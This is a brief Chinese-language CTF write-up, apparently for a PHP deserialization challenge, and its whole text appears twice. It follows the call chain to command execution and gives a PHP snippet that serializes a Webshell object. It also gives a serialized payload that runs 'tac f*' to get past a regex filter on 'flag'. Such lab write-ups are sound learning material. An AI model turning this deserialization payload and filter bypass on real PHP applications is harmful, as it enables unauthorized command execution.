启动环境
大致看一下利用顺序
反序列化传入的cmd值
调用__construct方法
调用init方法
调用exec
任意命令执行
那么构造语句如下
$poc = new Webshell();
$poc->cmd='ls';
echo serialize($poc);
先ls看看
读取就行了
注意到正则匹配过滤了flag
可以考虑模糊匹配,闭合等绕过
O:8:"Webshell":1:{s:3:"cmd";s:6:"tac f*";}
启动环境
大致看一下利用顺序
反序列化传入的cmd值
调用__construct方法
调用init方法
调用exec
任意命令执行
那么构造语句如下
$poc = new Webshell();
$poc->cmd='ls';
echo serialize($poc);
先ls看看
读取就行了
注意到正则匹配过滤了flag
可以考虑模糊匹配,闭合等绕过
O:8:"Webshell":1:{s:3:"cmd";s:6:"tac f*";}